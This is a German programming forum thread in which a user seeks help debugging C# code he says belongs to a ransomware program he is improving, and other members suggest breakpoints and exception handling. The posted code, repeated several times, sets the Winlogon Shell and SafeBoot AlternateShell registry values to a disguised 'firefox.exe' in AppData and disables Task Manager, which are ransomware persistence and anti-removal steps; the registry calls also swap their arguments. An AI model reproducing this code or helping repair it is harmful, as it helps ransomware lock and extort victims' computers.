Anzeige

Visual Studio C# 2017 - Codehilfe


#1
Hallo.

Ich habe ein kleines Problem und versuche dies zu lösen aber schaffe dies nicht. Ich möchte in 'public FormBackground()' einen Code hinzuschreben, der aber dannach das Programm nicht mehr richtig ausführt, also das Programm beendet sich dann leider wieder.

Das ist der Code denn ich hinzufügen möchte:
C:
            string userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;

            string keyName = @"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies";
            using (RegistryKey key = Registry.CurrentUser.OpenSubKey(keyName, true))
            {
                key.CreateSubKey("System");

                Registry.SetValue(@"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot", @"C:\Users\" + userName + "\\AppData\\Roaming\\Frfx\\firefox.exe", "AlternateShell");
                Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", @"C:\Users\" + userName + "\\AppData\\Roaming\\Frfx\\firefox.exe", "Shell");
                Registry.SetValue(@"HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot", @"C:\Users\" + userName + "\\AppData\\Roaming\\Frfx\\firefox.exe", "AlternateShell");
                Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "1", "DisableTaskMgr");
            }
Der ganze Bereich mit 'public FormBackground()' sieht so aus:
C:
        public FormBackground()
        {
            InitializeComponent();
           
            timerActivateChecker.Interval = Config.TimerActivateCheckerInterval;
            timerActivateChecker.Enabled = true;

            string userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;

            string keyName = @"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies";
            using (RegistryKey key = Registry.CurrentUser.OpenSubKey(keyName, true))
            {
                key.CreateSubKey("System");

                Registry.SetValue(@"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot", @"C:\Users\" + userName + "\\AppData\\Roaming\\Frfx\\firefox.exe", "AlternateShell");
                Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", @"C:\Users\" + userName + "\\AppData\\Roaming\\Frfx\\firefox.exe", "Shell");
                Registry.SetValue(@"HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot", @"C:\Users\" + userName + "\\AppData\\Roaming\\Frfx\\firefox.exe", "AlternateShell");
                Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "1", "DisableTaskMgr");
            }
        }
Ich weiß nicht wirklich ob ich etwas falsch mache aber in Visual Studio wird alles richtig und ohne Fehler angezeigt und für micht macht es auch Sinn, aber das Programm schließt sich leider dann wieder.

Ich denke das der Code der dannach folgt nicht mehr ausgeführt wird und sich deshalb irgendwie einfach beendet. Ich bräuchte dabei eben hilfe.

Liebe Grüße,
Marcel
 

cwriter

Erfahrenes Mitglied
#2
Gehört zu .NET, nicht C/C++.

Ich weiß nicht wirklich ob ich etwas falsch mache aber in Visual Studio wird alles richtig und ohne Fehler angezeigt und für micht macht es auch Sinn, aber das Programm schließt sich leider dann wieder.
Hast du mal Breakpoints versucht? Hast du in den Optionen die Berechtigungen entsprechend gesetzt?

cwriter
 
#3
Oh sorry tut mir leid. Ich wunderte mich schon weshalb C# so anders wirkte als C++ ^^. C++ ist ja die Sprache in der ich seit einiger Zeit lerne und selbst so gut es geht tätig bin. Ich hab jetzt schon einige Male gelesen das bei Visual Studio irgendwie immer etwas mit .NET im zusammenhang war aber das hab ich irgendwie nicht wahr genommen.

Okay, also da ich in .NET soziemlicher Neuling bin würde ich gerne wissen was Breakpoints sind. Was das mit den Berechtigungen weiß ich auch noch nicht wie das klappen sollte, könnte.

Das Programm war Ursprünglich ein Virus, also eine Ransomware, deren Fehler oder besser gesagt vergessene Funktionen ich hinzufügen und somit fixen möchte. Ich bin ein riesen Fan von Viren und ähnlichen. Eigentlich allgemein von Programmen, ob gut oder schlecht. Diese Ransomware versuch ich eben so gut es geht zu verbessern, was ich auch schon zum Teil geschaft habe es fehlen eben noch welche. Das Programm möchte ich an niemanden versenden da es ja verboten wäre und ich teste es nur in meiner VM Box. Wie gesagt, ich mag Programme und darunter auch Viren drum spiel ich mich mit diesen, aber unterschätze diese nicht und weiß auch die Gefahren da ich mich damit schon eine etwas längere Zeit schon beschäftige.

Und für das nächste Mal werde ich es in den .NET Forumabschnitt erstellen^^. Danke nochmals für den Hinweiß ;D
 

cwriter

Erfahrenes Mitglied
#4
Macht nichts, ein Moderator wird es gerne für dich verschieben (@sheel )
Ich hab jetzt schon einige Male gelesen das bei Visual Studio irgendwie immer etwas mit .NET im zusammenhang war aber das hab ich irgendwie nicht wahr genommen.
Visual Studio ist die IDE von Microsoft, und Microsoft will die eigene Sprache (C#/.NET Framework) entsprechend pushen, daher wird C++ von MS etwas gar stiefmütterlich behandelt. C++ in MSVC ist daher ein bisschen anders, weil Microsoft sich nicht allzu gerne an Standards hielt. Und mit C++/CX und C++/CLI gibt es ein paar C++/C#-Chimären, denen aber wenig Beachtung geschenkt wird.

Was du machst ist schlicht ein C# Programm.
Okay, also da ich in .NET soziemlicher Neuling bin würde ich gerne wissen was Breakpoints sind.
Die gibt es aber in so ziemlich jeder Sprache (ausser den funktionalen wie Haskell, aber die sind nur selten im Produktiveinsatz).
Im Prinzip musst du nur in VS in die kleine Spalte vor/nach den Zeilennummern klicken. Oder du kannst eine Zeile anklicken und F9 drücken. Dann sollte ein roter Punkt (breakpoint) erscheinen. Bei der nächsten Ausführung stoppt das Programm dann vor der Ausführung dieser Zeile, und du kannst dir die Variablen anschauen und Einzelschritte durch das Programm machen.

Was das mit den Berechtigungen weiß ich auch noch nicht wie das klappen sollte, könnte.
Eigentlich müsste diese Datei bei Doppelklick auf das Projekt im Solution Explorer erscheinen (heisst auf deutsch sowas wie "Projektmappenansicht").

Das Programm war Ursprünglich ein Virus, also eine Ransomware, deren Fehler oder besser gesagt vergessene Funktionen ich hinzufügen und somit fixen möchte.
Dass es ein Virus ist, habe ich schon vermutet.
Also hast du dir einfach den Code irgendwoher kopiert und frickelst jetzt daran herum? Nichts für ungut, aber das kann kein gutes Ende nehmen.
Du solltest dich systematischer mit dem Programmieren beschäftigen. Du solltest zuerst deine eigenen Programme schreiben und sie verstehen, bevor du fremde bearbeitest, und du solltest wissen, wie man den Debugger benutzt.
Das alles gilt besonders bei Viren.

Gruss
cwriter
 
#5
Dass es ein Virus ist, habe ich schon vermutet.
Also hast du dir einfach den Code irgendwoher kopiert und frickelst jetzt daran herum? Nichts für ungut, aber das kann kein gutes Ende nehmen.
Du solltest dich systematischer mit dem Programmieren beschäftigen. Du solltest zuerst deine eigenen Programme schreiben und sie verstehen, bevor du fremde bearbeitest, und du solltest wissen, wie man den Debugger benutzt.
Das alles gilt besonders bei Viren.
Ich mache ja hauptsächlich ein C++ Programm also eine Konsolenanwendung die einiges an Funktionen aufweisen soll die auch hilfreich sein sollen.

Aber der Cdoe denn ich dort mitdabei haben möchte habe ich selber geschrieben, also nicht Copy & Paste sondern denken. Vorher hab ich mich allgemein versucht drüber schlau zu machen wie das ungefähr funktioniert und man dies verwendet. Dann hab ich eben 1 bis 2 Tage versucht da eben etwas funktionierendes zusammenzubauen, und das ist eben der obige Code.

Das mit dem Debuggen hatte ich schon versucht, aber es gibt die Funktion das Debugger abstützen bei dem Programm ^^. Zum Teil gut, zum anderen Teil eben wie jetzt schlecht. Laut dem ganzem Code dürfte es eben zu Funktionieren, aber praktisch geht es halt eben leider noch nicht.
 

Spyke

Capoeirista
Premium-User
#6
pack mal ein Try{}Catch{} drum und pack Breakpoint in den catch block.
Ich vermute mal irgendein Schlüssel existiert nicht und es tritt eine nicht abgefangene Exception auf.

(Ev. auch mal im Output Fenster von VisualStudio nach schauen oder den DiagnosticsTools, ob da was mit Exception (oder andere ugnereimtheiten) auftaucht.)
 
#7
pack mal ein Try{}Catch{} drum und pack Breakpoint in den catch block.
Ich vermute mal irgendein Schlüssel existiert nicht und es tritt eine nicht abgefangene Exception auf.

(Ev. auch mal im Output Fenster von VisualStudio nach schauen oder den DiagnosticsTools, ob da was mit Exception (oder andere ugnereimtheiten) auftaucht.)
Okay ich habe versucht dies zu machen und das wäre mein Code-Ergebnis:
Code:
            try
            {
                string userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;

                string keyName = @"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies";
                using (RegistryKey key = Registry.CurrentUser.OpenSubKey(keyName, true))
                {
                    key.CreateSubKey("System");

                    Registry.SetValue(@"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot", @"C:\Users\" + userName + "\\AppData\\Roaming\\Frfx\\firefox.exe", "AlternateShell");
                    Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", @"C:\Users\" + userName + "\\AppData\\Roaming\\Frfx\\firefox.exe", "Shell");
                    Registry.SetValue(@"HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot", @"C:\Users\" + userName + "\\AppData\\Roaming\\Frfx\\firefox.exe", "AlternateShell");
                    Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "1", "DisableTaskMgr");
                }

    }catch
            {
                //eZ Egal
            }
    }
 

Spyke

Capoeirista
Premium-User
#8
springt er in den Breakpoint im catch fall?
und pack dein timer Activity zeugs mit in den Try block

wenn das auch nicht hilft, dann schau mal in der Ereignisanzeige, vielleicht ist dort was protokolliert warums abbrupt abbricht.

Abbonier auch mal die Ereignisse
Application.ThreadException
AppDomain.CurrentDomain.UnhandledException

vielleicht kommt da was zurück
 
Anzeige

Neue Beiträge

Anzeige